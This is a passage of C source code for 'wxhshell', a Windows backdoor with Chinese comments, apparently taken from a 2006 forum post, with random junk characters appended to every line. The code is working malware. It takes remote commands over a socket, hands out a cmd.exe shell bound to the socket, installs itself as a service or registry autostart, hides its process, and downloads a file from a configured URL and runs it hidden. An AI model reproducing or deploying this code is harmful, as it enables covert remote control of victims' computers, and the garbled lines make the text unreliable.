  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); xH<'GB)  
  } / R_ u\?k(  
  else { {)B9Z I{+A  
0)d?Y  
    switch(cmd[0]) { ^\M dl  
  ,`<^F:xl  
  // 帮助 \|2t TvW,0  
  case '?': { \6 \hnP  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 7qP4B9S  
    break; oGm1d{_-O  
  } 7E$eN8H  
  // 安装 3sZ,|,ueD  
  case 'i': { uAu( +zV2  
    if(Install()) $gVLk.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); of8mwnZR  
    else <ROpuY\!l  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); hZAG (Z  
    break; f49"pTw7  
    } `$S^E !=  
  // 卸载 +D :83h{  
  case 'r': { ?}vzLgp  
    if(Uninstall()) -a  *NbH  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); w`L~#yu  
    else yp=|7  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); pC*BA<?Rg  
    break; ^ED"rMI  
    } Bk@)b`WR  
  // 显示 wxhshell 所在路径 !|B3i_n  
  case 'p': { 1"}B]5!  
    char svExeFile[MAX_PATH]; br0u@G  
    strcpy(svExeFile,"\n\r"); p?Ed- S  
      strcat(svExeFile,ExeFile); sFLcOPj-%  
        send(wsh,svExeFile,strlen(svExeFile),0); Hqvc7-c6  
    break; >b>M Km>q  
    } PzjaCp'  
  // 重启 Ptx,2e&Hq  
  case 'b': { [%)@|^hw91  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); * [tc  
    if(Boot(REBOOT)) !w q4EV  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); i90}Xyt  
    else { @l'G[jN5  
    closesocket(wsh); bE?'C h  
    ExitThread(0); R6`*4z S  
    } 0$tjNy e  
    break; On=u#DxQ  
    } DU;[btK>  
  // 关机 I*Vt,JYx  
  case 'd': { 9b1?W?"  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Bi e?M  
    if(Boot(SHUTDOWN)) SD?BM-&~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y}ng_c  
    else { e RA7i  
    closesocket(wsh); dFQ o  
    ExitThread(0); [|4}~UV  
    } AHwG<k  
    break; &i5:)d]L  
    } Yp*,Jp1  
  // 获取shell ~n WsP}`n  
  case 's': { YG4WS |  
    CmdShell(wsh); Y %K~w  
    closesocket(wsh); R'SBd}1  
    ExitThread(0); LfEvc2 v=g  
    break; R :"+ #Sq  
  } Z!= L   
  // 退出 {LP b))  
  case 'x': {  EZ<80G  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 5G#$c'A{4  
    CloseIt(wsh); 6 mCq/$  
    break; YZ+>\ x  
    } 6B#('gxO  
  // 离开 F?z<xL@  
  case 'q': { vQ 4}WtvA  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); |zq4*  5  
    closesocket(wsh); Bz+.Qa+  
    WSACleanup(); 2{-!E ^g  
    exit(1); p%F8'2)}  
    break; 4U?<vby  
        } zG#wu   
  } )CLf;@1  
  } y;nvR6)  
daslaa_A  
  // 提示信息 ca(U!T68  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);  `?|Rc  
} l-}KmZ]  
  } #--olEj!  
O|I+],  
  return; $Jp~\_X  
} "(,2L,Zh  
mG2VZ>  
// shell模块句柄 N5? IpE  
int CmdShell(SOCKET sock) llq*T"7  
{ gWOt]D&#/  
STARTUPINFO si; #{$1z;i?f  
ZeroMemory(&si,sizeof(si)); T~Ly^|Ihz  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; fG&=Ogy  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; jY/ARBC}H  
PROCESS_INFORMATION ProcessInfo; l$a?A[M$  
char cmdline[]="cmd"; ! Z;T-3^.  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); U\jb"  
  return 0; #op:/j  
} fN)x#?  
o@W_ai_  
// 自身启动模式 {~N3D4n^  
int StartFromService(void) Hz@h0+h  
{ IkDiT63]I  
typedef struct *KJB>W%@uM  
{ E9+HS  
  DWORD ExitStatus; sWHyL(C@  
  DWORD PebBaseAddress; KVR~jF%  
  DWORD AffinityMask; <sX VW  
  DWORD BasePriority; K]/Od  
  ULONG UniqueProcessId; h/2/vBs  
  ULONG InheritedFromUniqueProcessId; *%!M4&  
}   PROCESS_BASIC_INFORMATION;  l{$[}<  
GqLq  gns  
PROCNTQSIP NtQueryInformationProcess; {6*#3m Kk  
7 Wl-n  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ~$<UE}qp  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; CqFeF?xd8h  
uSN"vpc4D  
  HANDLE             hProcess; Nxk(mec"  
  PROCESS_BASIC_INFORMATION pbi; 4w4^yQE  
+ P7o4]:/  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 7 [d ?  
  if(NULL == hInst ) return 0; ~_>cM c  
KjYAdia:H  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ;3"@g]e  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); <T+!V-Pj*  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); &!L:"]=+  
P4k;O?y  
  if (!NtQueryInformationProcess) return 0; /_t|Dry015  
$*f?&U]k  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); pKT2^Q}-h  
  if(!hProcess) return 0; ]Gv!M?:  
; s|w{.<:  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; eC! #CK  
3mO;JXd  
  CloseHandle(hProcess); m$wlflt  
]~0}=,H$N  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 5~'IKcW<  
if(hProcess==NULL) return 0; !eI2 r   
]< XR]FHx)  
HMODULE hMod; v^N`IJq  
char procName[255]; ~"K ,7sw!Y  
unsigned long cbNeeded; < zOi4v0  
5Bjgr  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ;65D  
y(W|eBe  
  CloseHandle(hProcess); KxzYfH  
`~# < &w  
if(strstr(procName,"services")) return 1; // 以服务启动 =*Z5!W'd  
{"S6\%=  
  return 0; // 注册表启动 H8{ol6wc)6  
} ]:ZdV9`  
upy\gkpnGO  
// 主模块 //f  
int StartWxhshell(LPSTR lpCmdLine) 4J0Rv od_  
{ LWnR?Qve<  
  SOCKET wsl; VT%:zf  
BOOL val=TRUE; k; ZxY"^  
  int port=0; 4x;_AN  
  struct sockaddr_in door; ;*2>ES  
S( ^.?z  
  if(wscfg.ws_autoins) Install(); YA:nOvd@O  
!bnyJA  
port=atoi(lpCmdLine); r;&>iX4B  
HKDID[d0  
if(port<=0) port=wscfg.ws_port; !RW `3  
@? c2)0  
  WSADATA data; fCWGAO2  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; )h{ ]k=  
QDx$==Fo  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   )e|=mtp  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); uXjP`/R|  
  door.sin_family = AF_INET; em{(4!W>  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); P{Lf5V9# <  
  door.sin_port = htons(port); 2c5-)Dt)T  
&;&ho+qD  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { X;oa[!k  
closesocket(wsl); 9$ qm>,o  
return 1; ?9{~> 4@  
} _)T5lEFl=  
ml`8HXK0  
  if(listen(wsl,2) == INVALID_SOCKET) { #OO>rm$  
closesocket(wsl); <h-vjz  
return 1; A/7{oB:a  
} LJ)5W  
  Wxhshell(wsl); 7!WA)@6  
  WSACleanup(); cy yVg!+  
!%)F J:p  
return 0; $D'- k]E[H  
(QoI<j""  
} ZyrI R  
`-h8vj5uG  
// 以NT服务方式启动 h:Gu`+D>W  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) z`UhB%-?  
{ >TkE~7?l  
DWORD   status = 0; 6 5N~0t  
  DWORD   specificError = 0xfffffff; anMF-x4/*q  
R_XR4)(<  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ?W^c4NtP  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; UcOk3{(z$q  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; KGH/^!u+R  
  serviceStatus.dwWin32ExitCode     = 0; y){ k3lm0  
  serviceStatus.dwServiceSpecificExitCode = 0; 1 i[\T  
  serviceStatus.dwCheckPoint       = 0; {8)zg<rL+M  
  serviceStatus.dwWaitHint       = 0; npJt3 Y_I  
Od4E x;F  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); [Zei0O  
  if (hServiceStatusHandle==0) return; Ms~{9?  
8_<4-<}P:  
status = GetLastError(); 9l,a^@Y:  
  if (status!=NO_ERROR) ?=m?jNa;nC  
{ tg]x0#@s  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ~T&<CTh  
    serviceStatus.dwCheckPoint       = 0; l&iq5}[n&  
    serviceStatus.dwWaitHint       = 0; s7Ub@  
    serviceStatus.dwWin32ExitCode     = status; 6f')6X'x  
    serviceStatus.dwServiceSpecificExitCode = specificError; "#[!/\=?:  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); MjlP+; !  
    return; Q8!) !r%  
  } $hivlI-7Ko  
4RSHZAJg  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; OQW#a[=WQ  
  serviceStatus.dwCheckPoint       = 0; T}V!`0vKw  
  serviceStatus.dwWaitHint       = 0; M`rl!Ci#  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 91 =OF*w  
} =|3fs7  
t2,A@2DU 2  
// 处理NT服务事件,比如:启动、停止 P"B0_EuR<T  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ):i&`}SY  
{ CC#;c1t  
switch(fdwControl) d ,4]VE  
{ &?mD$Eo  
case SERVICE_CONTROL_STOP: oE#d,Z  
  serviceStatus.dwWin32ExitCode = 0; ,lZB96r0  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ,AxdCT  
  serviceStatus.dwCheckPoint   = 0; QUu}Xg:  
  serviceStatus.dwWaitHint     = 0; ]]Cb$$Td  
  {  GB$;n?  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); GGnpjwXeH  
  }  =-IbS}3  
  return; tjupJ*Rt  
case SERVICE_CONTROL_PAUSE: C:PMewn  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; O3I8k\`  
  break; uc;8 K,[t  
case SERVICE_CONTROL_CONTINUE: n4}B r;%  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ?b(=1S\E'^  
  break; ?VP8ycm  
case SERVICE_CONTROL_INTERROGATE: "jG}B.l=,  
  break; G6T_O  
}; xuqv6b.  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); a)wJT`xu  
}  ,%uo6%  
eeyHy"@  
// 标准应用程序主函数 G1vNt7  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 0aG ni|  
{ rg^'S1x|  
 -i0~]*  
// 获取操作系统版本 :A/d to  
OsIsNt=GetOsVer(); 5H*\t 7  
GetModuleFileName(NULL,ExeFile,MAX_PATH); TWA-.>c  
Z'"tB/=W  
  // 从命令行安装 ILGMMA_2  
  if(strpbrk(lpCmdLine,"iI")) Install(); a(l29>  
a!=D[Gz*5  
  // 下载执行文件 "wNJ  
if(wscfg.ws_downexe) { ;7} VBkH  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Zl^\Q=*s  
  WinExec(wscfg.ws_filenam,SW_HIDE); etTn_v  
} r>o63Q:  
D)L+7N0D~  
if(!OsIsNt) { DGS$Ukz&T  
// 如果时win9x,隐藏进程并且设置为注册表启动 \WxukYH  
HideProc(); ibj87K  
StartWxhshell(lpCmdLine); vX/T3WV  
}  C uB`CI  
else #ZB~ x6i6  
  if(StartFromService()) Yt;MV)  
  // 以服务方式启动 <sBbT `  
  StartServiceCtrlDispatcher(DispatchTable); ML|FQ  
else f&Gt|  
  // 普通方式启动 RZXjgddL  
  StartWxhshell(lpCmdLine); \G*0"%!U  
=ALTUV3/q  
return 0; bbE!qk;hEP  
}
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只看该作者 1 发表于: 2006-10-10
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